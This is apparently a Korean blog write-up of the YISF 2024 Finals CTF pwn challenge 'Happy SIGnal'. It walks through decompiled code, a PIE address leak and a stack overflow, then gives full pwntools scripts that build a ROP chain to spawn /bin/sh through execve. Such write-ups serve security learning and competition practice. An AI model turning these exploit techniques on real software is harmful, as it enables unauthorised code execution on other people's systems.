Void
YISF 2024 Finals | Pwn - Happy SIGnal 본문
YISF 2024 Finals WriteUp ↓
https://pdw0412.tistory.com/13
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+8h] [rbp-38h] BYREF
int i; // [rsp+Ch] [rbp-34h]
char *s[3]; // [rsp+10h] [rbp-30h]
char *v7; // [rsp+28h] [rbp-18h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_12C4(a1, a2, a3);
sub_1329();
v4 = 31;
s[0] = "[OSOL] I am very happy today.";
s[1] = "[OSOL] Today is my birthday today!";
s[2] = "[OSOL] It's such a beautiful day!";
v7 = "[OSOL] Thank you so much! OSOL is happy.";
for ( i = 0; i <= 2; ++i )
{
puts(s[i]);
printf("[>] ");
if ( i )
{
if ( i == 1 )
{
sub_16EB(&v4);
}
else
{
if ( i != 2 )
return 1LL;
sub_18A2(&v4);
}
}
else
{
sub_1675(&v4);
}
}
puts(v7);
return 0LL;
}
for문 안에서 함수를 3번 실행한다. 이 중에서 2번째 함수(sub_16EB)를 봐야한다.
__int64 __fastcall sub_174C(__int64 a1)
{
char v2[136]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+A8h] [rbp-8h]
const void *retaddr; // [rsp+B8h] [rbp+8h]
v3 = __readfsqword(0x28u);
sub_17EA(a1);
puts("[ARCH-prc service]\nTransmission failed");
printf("error point : %p \n\n[>] ", retaddr);
return sub_1647(0, (__int64)v2, 208LL);
}
int __fastcall sub_17EA(int *a1)
{
size_t v1; // rax
sub_1647(0, (__int64)off_4060 + 32, *a1);
v1 = strlen(aOsolHappyBirth);
if ( !sub_148B((char *)off_4060 + 32, aOsolHappyBirth, v1) )
exit(1);
if ( *a1 > 1280 )
*a1 = 31;
return printf("[%s] %s\n", byte_4040, (const char *)off_4060 + 32);
}
const char *__fastcall sub_148B(const char *a1, const char *a2, size_t a3)
{
size_t v5; // [rsp+28h] [rbp-18h]
size_t i; // [rsp+30h] [rbp-10h]
size_t n; // [rsp+38h] [rbp-8h]
n = strlen(a2);
if ( !n )
return a1;
v5 = strlen(a1);
if ( v5 > a3 )
v5 = a3;
for ( i = 0LL; i <= v5 - n; ++i )
{
if ( !strncmp(&a1[i], a2, n) )
return &a1[i];
}
return 0LL;
}
함수가 많아 간단히 요약하면 sub_1647(read)를 통해 값을 읽어오고, 이 값을 aOsolHappyBirth와 비교한다. 만약 같은 경우, retaddr을 통해 pie_base를 얻을 수 있다. 이후 sub_1647(0, (__int64)v2, 208LL); 를 통해 bof가 return address부터 0x38만큼 발생한다. bof이후 rdx는 208(이전 bof 호출)이므로, rdi, rsi를 수정해 read(0, bss, 208); 로 bss에 rop chain을 만들 수 있다.
...
0x000000000000159a : pop rax ; syscall
0x0000000000001487 : pop rbp ; clc ; leave ; ret
0x0000000000001293 : pop rbp ; ret
0x000000000000159e : pop rdi ; ret
0x00000000000015a0 : pop rsi ; ret
...
가젯이 많은데, syscall 까지 존재한다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
p=process('./prob')
e=ELF('./prob')
p.sendafter(b'[>] ', b'pdw0412')
p.sendafter(b'[>] ', b'pdw0412')
p.sendafter(b'[>] ', b'OSOL! Happy Birthday!!')
p.recvuntil(b'error point : ')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x1729
log('pie_base', pie_base)
pop_rax_syscall=pie_base+0x000000000000159a
pop_rdi=pie_base+0x000000000000159e
pop_rsi=pie_base+0x00000000000015a0
leave=pie_base+0x0000000000001673
plt_puts=pie_base+e.plt['puts']
func=pie_base+0x0000000000001647
bss=pie_base+0x4a00
payload=b'a'*144+p64(bss-8)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(func)
payload+=p64(leave)
p.sendafter(b'[>] ', payload)
func는 sub_1647(read)의 주소다.이제 bss에 syscall을 이용해서 execve('/bin/sh', 0, 0);를 하면 되는데, 문제는 rdx를 0으로 만들 가젯이 없다는 것이다. 이건 puts()로 해결할 수 있다. puts() 실행후 rdx를 0으로 만들 수 있고, rdi, rsi는 가젯으로 컨트롤 할 수 있다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
p=process('./prob')
e=ELF('./prob')
p.sendafter(b'[>] ', b'pdw0412')
p.sendafter(b'[>] ', b'pdw0412')
p.sendafter(b'[>] ', b'OSOL! Happy Birthday!!')
p.recvuntil(b'error point : ')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x1729
log('pie_base', pie_base)
pop_rax_syscall=pie_base+0x000000000000159a
pop_rdi=pie_base+0x000000000000159e
pop_rsi=pie_base+0x00000000000015a0
leave=pie_base+0x0000000000001673
plt_puts=pie_base+e.plt['puts']
func=pie_base+0x0000000000001647
bss=pie_base+0x4a00
payload=b'a'*144+p64(bss-8)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(func)
payload+=p64(leave)
p.sendafter(b'[>] ', payload)
payload=b''
payload+=p64(pop_rdi)+p64(bss)+p64(plt_puts) #rdx=0
payload+=p64(pop_rdi)+p64(bss+0x48)+p64(pop_rsi)+p64(0)+p64(pop_rax_syscall)+p64(0x3b)
payload+=b'/bin/sh\x00'
p.send(payload)
p.interactive()
ret2syscall로 문제를 풀었지만 syscall가젯이 있기 때문에 정말 다양한 풀이가 가능할 것이다. orw 해도 상관없고, srop로도 해결할 수 있을 것 같다(문제 이름이 SIGnal인걸로 보아 srop가 인텐인것 같다). 굳이 ret2syscall을 선택한 이유라면 rdx를 컨트롤할 로직을 찾지 못해 최대한 짧은 코드로 익스하기위해 선택했다.
'CTF' 카테고리의 다른 글
| EHAX CTF 2025 (0) | 2025.02.17 |
|---|---|
| CCE 2024 Quals | Pwn - Untrusted Compiler (0) | 2025.02.03 |
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |
| Layer7 CTF 2024 (0) | 2025.01.13 |
| 제 5회 JBU-CTF (1) | 2024.12.16 |